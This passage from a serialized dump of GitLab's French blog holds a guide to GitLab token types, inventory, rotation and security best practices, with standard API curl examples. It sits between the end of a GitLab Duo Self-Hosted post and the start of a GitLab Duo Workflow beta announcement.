entreprises les plus réglementées à adopter en toute confiance les fonctionnalités d'IA et à respecter les obligations de conformité les plus strictes.\n\n**Cliquez sur l’image ci-dessous pour bénéficier d’une visite interactive de GitLab Self-Hosted :\n**\n\n[![Capture d'écran de la visite guidée de GitLab Duo Self-Hostedt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-02-20_at_7.00.34_AM_aHR0cHM6_1750097848332.png)](https://gitlab.navattic.com/gitlab-duo-self-hosted)\n\n## Essayez GitLab Duo Self-Hosted dès aujourd'hui\n\nAdoptez l'intelligence artificielle en toute sécurité ! Intégrez des fonctionnalités d'IA tout en garantissant la protection de vos données et le respect des exigences de confidentialité. [Contactez-nous](https://about.gitlab.com/fr-fr/sales/) pour que nous puissions vous aider à configurer GitLab Duo Self-Hosted dans votre environnement dès aujourd'hui. ",[699,675,1067,676,827],"2025-03-04",{"slug":1628,"featured":92,"template":683},"gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy","content:fr-fr:blog:gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","Gitlab Duo Self Hosted Enterprise Ai Built For Data Privacy","fr-fr/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","fr-fr/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"_path":1634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1635,"content":1641,"config":1648,"_id":1650,"_type":16,"title":1651,"_source":17,"_file":1652,"_stem":1653,"_extension":20},"/fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab",{"ogTitle":1636,"schema":1637,"ogImage":1638,"ogDescription":1639,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1640,"title":1636,"canonicalUrls":1640,"description":1639},"Gestion des tokens sur GitLab : guide complet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide complet pour la gestion des tokens sur GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n        \"datePublished\": \"2025-02-25\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","Découvrez le processus de gestion, d'identification et de sécurisation des tokens et renforcez votre sécurité tout au long du cycle de développement logiciel.","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab",{"heroImage":1638,"body":1642,"authors":1643,"updatedDate":1645,"date":1646,"title":1636,"tags":1647,"description":1639,"category":673},"Imaginez le scénario suivant : un ingénieur travaille dans une entreprise technologique en pleine croissance et reçoit un appel urgent à 2 heures du matin. Un pipeline de déploiement critique a échoué, et son équipe essaie de comprendre les raisons de cet échec. Après des heures d'investigation, il réalise qu'un utilisateur a révoqué le jeton d'accès personnel d'un ingénieur qui a quitté l'entreprise une semaine plus tôt. Ce token étant lié à plusieurs processus d'automatisation clés, votre système est maintenant dans un état catastrophique. Comment faire en sorte que cette situation ne se reproduise plus ?\n\nDécouvrez dans cet article toutes les étapes de la gestion des tokens, de leur identification à leur sécurisation. Ce guide complète notre [documentation officielle sur les tokens](https://docs.gitlab.com/ee/security/tokens) et s'adresse aux administrateurs GitLab, aux équipes de développement et de sécurité qui doivent garantir une gestion efficace et sécurisée des tokens dans le cadre de leurs projets.\n\n## Sélection du token adapté au job\n\nChoisir le bon token garantit à la fois la sécurité et des fonctionnalités optimales selon votre cas d'utilisation. Les tokens peuvent servir à authentifier des requêtes API, à automatiser des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), à intégrer des outils tiers, à gérer des déploiements, à accéder aux dépôts et bien plus encore.\n\n![Guide de gestion des tokens - organigramme des jetons](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nLe graphique ci-dessus illustre un cas d'utilisation classique lié à la propriété d'un seul utilisateur. Pour plus d'informations, consultez notre documentation sur les rôles et autorisations des utilisateurs dans chaque [espace de nommage](https://docs.gitlab.com/ee/user/permissions.html) (utilisateur/groupe) au sein de votre instance ou groupe principal.\n\nVoici quelques exemples d'utilisation :\n\n* Les **jetons d'accès personnel** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) peuvent être utilisés lorsque l'accès personnel et les autorisations d'un utilisateur sont requis. Dans ce cas, les identifiants de connexion suivent le statut et les autorisations du compte de l'utilisateur, y compris sa révocation si le compte perd l'accès à un projet ou à un groupe spécifique (ou est entièrement bloqué).\n\n* Les **tokens d'accès au projet/groupe** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token) / [GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) sont recommandés lorsque l'accès doit être limité aux ressources d'un projet/groupe spécifique. Ainsi, tout utilisateur disposant d'un PrAT/GrAT peut accéder à ces ressources via des mécanismes gérés par des portées attribuées.\n\n## Types de tokens\n\nVoici la liste des tokens GitLab, avec leurs préfixes par défaut et le principal cas d'utilisation associé. Pour plus de détails, consultez la [page de présentation des tokens GitLab](https://docs.gitlab.com/ee/security/tokens/#available-scopes).\n\n| Tokens                            | Préfixe | Description |\n| --------------------------------- | ------- | ----------- |\n| Jeton d'accès personnel           | glpat   | Accès aux données propres à l'utilisateur |\n| Token OAuth 2.0                   | gloas   | Authentification à l'aide du protocole OAuth2.0 pour des intégrations tierces |\n| Token d'emprunt d'identité        | glpat   | Possibilité d'agir au nom d'un autre utilisateur à des fins d'administration |\n| Token d'accès au projet           | glpat   | Accès aux données d'un projet spécifique |\n| Token d'accès au groupe           | glpat   | Accès aux données d'un groupe spécifique |\n| Token de déploiement              | gldt    | Accès aux images d'un registre de conteneurs pour cloner ou effectuer un push/pull sans identifiants utilisateur ni mot de passe |\n| Clés de déploiement               | N/A     | Accès en lecture seule ou en lecture-écriture aux dépôts |\n| Token d'accès au runner           | glrt    | Authentification des GitLab Runners |\n| Token de job CI/CD                | glcbt   | Automatisation des processus CI/CD |\n| Token de déclenchement            | glptt   | Déclenchement manuel ou automatique des pipelines |\n| Token de flux                     | glft    | Authentification de l'accès aux flux de paquets/RSS |\n| Token d'e-mail entrant            | glimt   | Traitement des e-mails entrants |\n| Token GitLab Agent for Kubernetes | glagent | Gestion des clusters [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") via GitLab Agent |\n| Tokens SCIM                       | glsoat  | Activation des intégrations SCIM pour le provisionnement des utilisateurs |\n| Token client pour feature flags   | glffct  | Activation automatisée des feature flags |\n| Token de webhook                  | N/A     | Token de secret défini par l'utilisateur pour sécuriser les charges utiles des webhooks et vérifier que les requêtes proviennent de GitLab |\n\n## Identification des tokens utilisés\n\n### Inventaire des identifiants de connexion\n\nAvec GitLab Ultimate, les administrateurs (GitLab Self-Managed) et les propriétaires de groupe principal (GitLab.com, à partir de la version 17.5) peuvent surveiller les identifiants de connexion dans leur espace de nommage.\n\nCet inventaire permet de suivre les détails des tokens, notamment :\n\n* Le type de tokens\n* Les tokens disponibles sur [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html)\n* Les tokens disponibles sur [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html)\n* Les comptes utilisateurs associés\n* Les portées des tokens, ainsi que leur date de création et d'expiration\n* Les adresses IP des derniers tokens utilisés (à partir de GitLab 17.10)\n* Le filtrage des tokens en fonction des paramètres définis par l'utilisateur\n* La possibilité de révoquer et de procéder à une rotation de ces tokens\n\nTenir correctement un inventaire des identifiants de connexion permet d'identifier les tokens avec des autorisations excessives et ceux dont la rotation est requise, ce qui garantit un workflow sécurisé et efficace.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&start=105\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n#### API dédiée pour l'inventaire des identifiants\n\nEn complément de l'interface utilisateur, une API d'inventaire des identifiants de connexion permet d’accéder à cet inventaire via le nouveau [point de terminaison](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project) /group/:id/manage. Les identifiants de connexion accessibles sous ce point de terminaison sont réservés aux [comptes utilisateurs Entreprise](https://docs.gitlab.com/ee/user/enterprise_user/) ayant souscrit un abonnement GitLab. Ils ne peuvent être consultés que par le propriétaire du groupe principal du projet de l'entreprise concernée.\n\nVoici à quoi pourrait ressembler un appel API à l'avenir :\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\"\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\"\n```\n\n### API GitLab\n\nL'API GitLab vous permet de répertorier et de gérer les tokens automatiquement (à l'aide de scripts ou d'applications) au sein de votre entreprise. Les points de terminaison clés liés à l'authentification prennent en charge [différents types de tokens](https://docs.gitlab.com/ee/api/rest/authentication.html), notamment les jetons d'accès personnel, les tokens d'accès au groupe, les tokens de job CI/CD, entre autres. Voici un exemple d'utilisation d'un jeton d'accès personnel qui répertorie tous les projets visibles sur GitLab pour l'utilisateur authentifié :\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \"https://gitlab.example.com/api/v4/projects\"\n```\n\nRegardez cette vidéo et découvrez comment effectuer des appels à l'API GitLab.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n### Identification de l’utilisation des tokens\n\nVous pouvez identifier de différentes manières les emplacements ou les contextes dans lesquels les tokens sont utilisés :\n\n* Depuis **Paramètres utilisateur > [Jetons d'accès](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* Dans l'inventaire des identifiants de connexion\n* Dans les événements d'audit\n* Via l'API\n\nLes informations sur l'utilisation des tokens sont mises à jour toutes les 10 minutes pour **last_used** et toutes les minutes pour **last_used_ip**.\n\nLa possibilité d'afficher les adresses IP a été introduite dans GitLab 17.9 et est contrôlée par le feature flag **:pat_ip**. Suivez ces [étapes pour afficher la dernière fois où un token a été utilisé](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used), ainsi que ses cinq dernières adresses IP distinctes.\n\n![Guide de gestion des tokens - paramètres des jetons d'accès personnels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Gestion des tokens dans l'API et l'interface utilisateur de GitLab\n\nLe tableau suivant répertorie des vidéos qui présentent plusieurs créations de tokens dans l'interface utilisateur et leur utilisation via l'API.\n\n| Tokens                  | UI GitLab | API GitLab |\n| ----------------------- | --------- | ---------- |\n| Jeton d'accès personnel | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=3) | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=43) |\n| Token d'accès au groupe | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=120) | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=157) |\n| Token d'accès au projet | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=254) | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=285) |\n\n## Gestion de la rotation et de l'expiration des tokens\n\nLa mise en œuvre d'une rotation des tokens et de règles d'expiration strictes permet de réduire les risques de compromission et de garantir la conformité aux normes de sécurité. Une rotation régulière et des expirations contrôlées empêchent que les identifiants de connexion obsolètes ne deviennent des failles de sécurité.\n\nAuparavant, les tokens d'accès au groupe et au projet arrivés à expiration étaient automatiquement supprimés, ce qui compliquait les audits et les analyses de résultats des scans de sécurité en raison de l'absence d'historique de ces tokens inactifs. Pour remédier à ce problème, une [fonctionnalité](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) a introduit la conservation dans l'interface utilisateur des enregistrements de tokens d'accès au groupe et au projet inactifs pendant 30 jours après leur expiration. Cette amélioration permet aux équipes de suivre l'utilisation, l'expiration et la révocation des tokens et offre ainsi une meilleure conformité et un meilleur contrôle.\n\nPour gérer de manière proactive la rotation et l'expiration de vos tokens, procédez comme suit :\n\n* Régénérez activement vos tokens via l'interface utilisateur ou l'API. Si vous utilisez l'API, tenez compte du mécanisme de sécurité de [détection automatique de la réutilisation des tokens](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection).\n\n* Définissez une [limite de durée de validité maximale](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) à l'échelle de l'instance pour les tokens d'accès.\n\n### API de rotation des tokens\n\nJusqu'à la version GitLab 17.7, les utilisateurs devaient effectuer une rotation automatique des tokens d'accès exclusivement via l'API. Cette fonctionnalité est maintenant disponible dans l'interface utilisateur. Pour en savoir plus, regardez les vidéos dans le tableau ci-dessous ou consultez notre [documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui).\n\n### Extraits de code pour la rotation des tokens\n\nLe tableau suivant regroupe des vidéos expliquant le processus de rotation des tokens dans GitLab.\n\n| Tokens                  | Prérequis | UI GitLab | API GitLab |\n| ----------------------- | --------- | --------- | ---------- |\n| Jeton d'accès personnel | Portée : API | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=76) | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=92) |\n| Token d'accès au groupe | Portée : API et rôle(s) : propriétaire | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=203) | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=214) |\n| Token d'accès au projet | Portée : API et rôle(s) : propriétaire, chargé de maintenance | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=335) | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=349) |\n\n## Bonnes pratiques de gestion des tokens\n\n### Principe de moindre privilège\n\nAtténuez les risques en limitant les autorisations attribuées aux tokens à celles strictement nécessaires à leurs tâches respectives. Vous pourrez ainsi anticiper et résoudre de manière proactive les points de défaillance de vos systèmes.\n\nPour ce faire, procédez comme suit :\n\n* Sélectionnez le token adapté au job. Consultez l'organigramme en cas de besoin.\n* Attribuez uniquement les portées nécessaires lors de la création d'un token. Par exemple, utilisez des portées en lecture seule pour les tokens employés à des fins d'audit. Consultez notre documentation sur les [rôles](https://docs.gitlab.com/ee/user/permissions.html#roles).\n* Évitez d'accorder des privilèges d'administrateur, sauf si cela est explicitement requis.\n* Appliquez une [durée de validité](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1) par défaut à l'échelle de l'instance.\n* Examinez et auditez régulièrement les autorisations octroyées aux tokens pour vous assurer de leur adéquation avec les besoins opérationnels actuels.\n* Révoquez les tokens une fois leur tâche terminée.\n\n\n\n### Comptes de service\n\nLes [comptes de service](https://docs.gitlab.com/ee/user/profile/service_accounts.html) associent les tokens à des entités non humaines, ce qui permet de les distinguer des comptes d'utilisateurs et de réduire la dépendance à des utilisateurs spécifiques. Au lieu d'utiliser des comptes personnels pour générer des tokens à des fins d'automatisation, créez des comptes de service avec des portées limitées.\n\nVoici les principaux avantages :\n\n* Utilisation de tokens de compte de service dans les pipelines CI/CD pour éviter les perturbations causées par les modifications de compte d'utilisateur\n* Automatisation des processus de rotation, sans impact sur les comptes personnels\n* Suivi ciblé et piste d'audit plus clairs des actions entreprises par les comptes de service\n* Comptes de service [sans date d'expiration](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date)\n* Aucun [siège de licence](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account) consommé\n\nGitLab a lancé une nouvelle [interface utilisateur dédiée aux comptes de service](https://gitlab.com/groups/gitlab-org/-/epics/9965) en complément de leur [création via l'API](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), afin de simplifier leur gestion et celle des tokens associés. Regardez la démo ci-dessous sur l'utilisation automatique des comptes de service.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n### Outils de détection des vulnérabilités\n\nTirez parti des outils de sécurité intégrés à la plateforme GitLab pour détecter et atténuer les vulnérabilités associées à l'utilisation des tokens. Pour une protection optimale, il est recommandé d'utiliser l'ensemble de ces outils de manière combinée.\n\n* [Détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) : analyse votre dépôt à la recherche de secrets codés en dur, tels que les tokens d'API, les mots de passe et d'autres informations contenant des données sensibles. Consultez la [liste des secrets détectés](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html).\n* [Tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) : analyse votre code source à la recherche de failles de sécurité et [fournit des rapports intégrés aux merge requests contenant les résultats de l'interface utilisateur](https://docs.gitlab.com/ee/user/application_security/sast/#features), entre autres fonctionnalités.\n* [Analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) : assure que les bibliothèques tierces utilisées dans votre projet ne présentent pas de vulnérabilités liées aux tokens.\n\n### Journaux d'audit et surveillance\n\nVeillez à l'intégrité de vos tokens en examinant régulièrement les journaux d'audit et les données d'utilisation des tokens au niveau de l'instance et/ou du groupe.\n\n* [Événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html) : activez la journalisation des événements d'audit dans GitLab pour suivre les activités liées aux tokens, telles que la création, l'utilisation, la révocation et les appels API suspects (paramètres non autorisés dans les journaux, déclenchements répétés du limiteur de débit).\n* [Liste des adresses IP autorisées](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions) : permet d'empêcher qu'un utilisateur malveillant masque ses activités derrière plusieurs adresses IP.\n* [Alertes](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) : configurez des alertes pour les activités inhabituelles (déclenchement d'une remontée d'alerte d'incident lors des rotations d'astreinte ou création d'incidents).\n* [Inventaire des identifiants de connexion](https://docs.gitlab.com/ee/administration/credentials_inventory.html) : contrôlez l'ensemble des tokens d'accès disponibles avec la possibilité de les révoquer si nécessaire.\n* [Notifications](https://docs.gitlab.com/ee/user/profile/notifications.html) : gérez de manière proactive tous les e-mails de notification d'expiration de tokens (d'accès au groupe/projet et personnel) que vous recevez. Suite aux retours de nos clients, cette fonctionnalité a été étendue pour inclure des notifications à 30 jours et 60 jours, en plus de la notification par défaut à 7 jours.\n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook) : les webhooks de tokens d'accès peuvent être configurés sur les groupes et les projets pour envoyer des événements d'expiration de tokens à sept jours. Cette fonctionnalité a également été étendue pour inclure des notifications à 30 jours et 60 jours via le feature flag **:extended_expiry_webhook_execution_setting** (désactivé par défaut).\n\n## Perspectives\n\nCompte tenu du vaste catalogue de tokens de GitLab, nous avons [prévu](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) une consolidation axée sur la durée de validité, les portées affinées, la gestion cohérente et l'utilisation. En ce qui concerne les fonctionnalités liées aux tokens, nous avons identifié les priorités suivantes : une interface utilisateur complète pour les comptes de service, l'ajout de nouveaux types d'identifiants dans l'inventaire des identifiants de connexion et une amélioration de l'audit des tokens et comptes de service.\n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/free-trial/) et commencez à utiliser les fonctionnalités de gestion des tokens.\n",[1644],"Hakeem Abdul-Razak","2025-07-01","2025-02-25",[1069,673,1067,675,676],{"slug":1649,"featured":92,"template":683},"the-ultimate-guide-to-token-management-at-gitlab","content:fr-fr:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":1655,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1656,"content":1662,"config":1668,"_id":1670,"_type":16,"title":1671,"_source":17,"_file":1672,"_stem":1673,"_extension":20},"/fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"title":1657,"description":1658,"ogTitle":1657,"ogDescription":1658,"noIndex":6,"ogImage":1659,"ogUrl":1660,"ogSiteName":841,"ogType":842,"canonicalUrls":1660,"schema":1661},"GitLab Duo Workflow : une IA agentique offrant visibilité et contrôle à l'échelle de l'entreprise","Nos agents d'IA sécurisés et autonomes comprennent le contexte du projet, déchargent vos équipes des tâches complexes et accélèrent la livraison de logiciels. Découvrez la version bêta privée de GitLab Duo Workflow. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660174/Blog/Hero%20Images/Workflow_1800x945.png","https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Workflow : une IA agentique offrant visibilité et contrôle à l'échelle de l'entreprise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pini Wietchner\"}],\n        \"datePublished\": \"2025-02-24\",\n      }\n                  ",{"title":1657,"description":1658,"authors":1663,"heroImage":1659,"date":1665,"body":1666,"category":697,"tags":1667},[1664],"Pini Wietchner","2025-02-24","Nous sommes ravis d'annoncer aujourd'hui l'ouverture de la liste d'attente qui vous permet d'accéder à la [version bêta privée de GitLab Duo Workflow](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/), **notre IA agentique intégrée à la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") la plus complète.** Nouvelle étape de notre roadmap en matière d'IA, GitLab Duo Workflow accompagne les équipes de développement tout au long de leur projet. Que ce soit pour la configuration initiale, le processus de déploiement, le débogage, ou encore la coordination entre les équipes, tout est directement réalisé au sein de l'IDE. \n\nIntégré à la plateforme GitLab, GitLab Duo Workflow simplifie la collaboration, l'intégration et le déploiement continus, ainsi que la gestion de la sécurité et de la conformité. Objectif affiché : aider les entreprises à accélérer leurs processus de développement à l'aide d'agents d'IA. \n\nGitLab Duo Workflow facilite l'ensemble du processus de développement :   \n* Lancement rapide de projets \n* Modernisation du code\n* Réalisation de tâches contextuelles \n* Rédaction de la documentation\n* Amélioration de la couverture de test\n* Et bien plus encore \n\nEt ce n'est que le début. Grâce à son intégration au magasin de données unifié de GitLab, plus vous utilisez GitLab, plus GitLab Duo Workflow se nourrit du contexte de votre code, de vos configurations, des résultats de vos scans de sécurité et de vos pratiques de déploiement. Résultat : une expérience de développement toujours plus puissante et parfaitement adaptée à vos besoins.\n\n## Les promesses et les défis des agents d'IA\n\nLes logiciels ont fondamentalement transformé notre monde, mais seule une infime fraction de la population mondiale possède aujourd'hui les compétences nécessaires pour les développer. Pourtant, ces équipes de développement améliorent la vie de milliards d'utilisateurs qui bénéficient des avancées technologiques via leurs smartphones et Internet. Imaginez un monde où les innovations se multiplient grâce à un nombre croissant de personnes capables de développer, sécuriser et livrer des logiciels prêts à l'emploi qui impactent des milliards d'individus. **Ce futur prometteur est à notre portée grâce à l'IA agentique.**\n\nLes agents d'IA comprennent le contexte, mémorisent des ensembles complets de codes bases et collaborent activement sur des projets logiciels complexes menés par les équipes DevSecOps. Avec les agents d'IA, ces équipes peuvent désormais créer des logiciels à une échelle auparavant inimaginable.\n\nCependant, de nombreuses questions importantes restent en suspens concernant la visibilité, le contrôle et l'impact de l'IA sur le travail des développeurs et développeuses. Il est essentiel que les entreprises s'assurent que l'IA améliore les capacités de leurs équipes tout en leur permettant de superviser leur processus de développement. L'adoption de l'IA doit non seulement faciliter le travail des équipes, mais aussi garantir la sécurité, la conformité et la gouvernance.\n\n## L'adoption réussie de l'IA dépend de votre plateforme, pas de l'ajout de nouveaux outils\n\nÀ mesure que vous augmentez la taille des équipes de développement, le volume de code et les risques de sécurité potentiels, l'ajout d'outils distincts pour chaque nouvelle problématique a pour seul effet d'augmenter la complexité du processus. Notre récente [enquête DevSecOps](https://about.gitlab.com/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) montre à quel point ce dilemme est réel : les équipes DevSecOps jonglent parfois avec jusqu'à 14 outils différents, ce qui leur fait perdre jusqu'à 80 % de leur temps consacré en réalité à des tâches autres que le codage. Pour que l'IA soit vraiment efficace, elle a également besoin de données unifiées de haute qualité, ce qui est difficile à obtenir avec des outils disparates.\n\n**La plateforme DevSecOps de GitLab combinée aux agents d'IA** réunit toutes les fonctionnalités dans un modèle de données unique qui inclut le code source, les merge requests, les epics, les utilisateurs, les droits d'accès et bien plus encore. Nos agents d'IA utilisent ce contexte pour simplifier le travail des équipes et automatiser les tâches non liées au codage qui monopolisent le temps des équipes de développement. Ils peuvent, par exemple, réaliser des scans de sécurité visant à détecter des vulnérabilités ou encore vérifier l'application des règles de conformité. Lorsque l'IA est intégrée directement à la plateforme, ces fonctionnalités deviennent d'autant plus puissantes, et les agents d'IA agissent alors comme de véritables partenaires tout en vous permettant de garder le contrôle sur la manière dont ils améliorent le processus.\n\n**Et c'est précisément ce que nous proposons avec GitLab Duo Workflow.**\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1059060959?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Workflow, the future of secure agentic AI software development\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>`\n\n## GitLab Duo Workflow : des agents d'IA intégrés à la plateforme DevSecOps la plus complète\n\nTirant parti de la plateforme DevSecOps complète et unifiée de GitLab, GitLab Duo Workflow aide les équipes de développement à travailler à leur plein potentiel. Contrairement aux assistants IA pour le code qui se limitent à générer des portions de code, GitLab Duo Workflow comprend l'ensemble de votre cycle de développement et automatise les tâches routinières. Ainsi, les équipes peuvent se concentrer sur l'innovation stratégique et la résolution de problèmes de façon plus créative. \n\nLes fonctionnalités que nous développons actuellement dans GitLab Duo Workflow aideront les équipes de la manière suivante : \n\n### Un lancement rapide de projets\n\nLes équipes de développement passent un temps précieux à configurer de nouveaux projets, à gérer les dépendances et à mettre en place une infrastructure de base au lieu de se concentrer sur la création de nouvelles fonctionnalités. Avec GitLab Duo Workflow, vous pouvez **automatiser la mise en place d'un projet directement dans l'IDE** : vous disposez dès le départ des configurations nécessaires, ce qui vous permet de vous concentrer sur l'innovation plus rapidement.\n\n### Des applications modernes \n\nLa modernisation du code hérité ne se limite pas à la mise à jour de la syntaxe. Elle nécessite de comprendre les dépendances, les tests, les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") et la documentation. GitLab Duo Workflow vous aide à **moderniser votre code base en gérant le processus de refactorisation**, depuis le code source jusqu'aux tests.\n\n### Du changement de contexte à un état de concentration optimale et ininterrompue\n\nLes équipes de développement changent constamment d'outils, de documentation et de codes bases pour résoudre des problèmes. GitLab Duo Workflow aide à **résoudre les tâches en prenant en compte l'intégralité du contexte des tickets et merge requests liés à votre code base**, ce qui permet aux équipes de rester concentrés sur leurs workflows.\n\n### Des connaissances dynamiques\n\nLa documentation devenant rapidement obsolète, le code base devient plus difficile à comprendre et à maintenir. GitLab Duo Workflow **aide les développeurs et développeuses à générer et à mettre à jour la documentation**, y compris les fichiers README, les diagrammes de flux de code et la documentation de l'architecture logicielle.\n\n### Des tests complets\n\nÀ mesure que votre code base devient de plus en plus volumineux, maintenir une couverture de test complète devient de plus en plus complexe. GitLab Duo Workflow **peut générer des tests pour des sections entières de votre code base** tout en s'intégrant à votre infrastructure de test existante, facilitant ainsi la livraison de logiciels plus fiables.\n\n## Inscrivez-vous à notre version bêta privée \n\n[Inscrivez-vous à la liste d'attente de la version bêta privée de GitLab Duo Workflow](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/) et découvrez notre nouvelle IA agentique sécurisée (de la 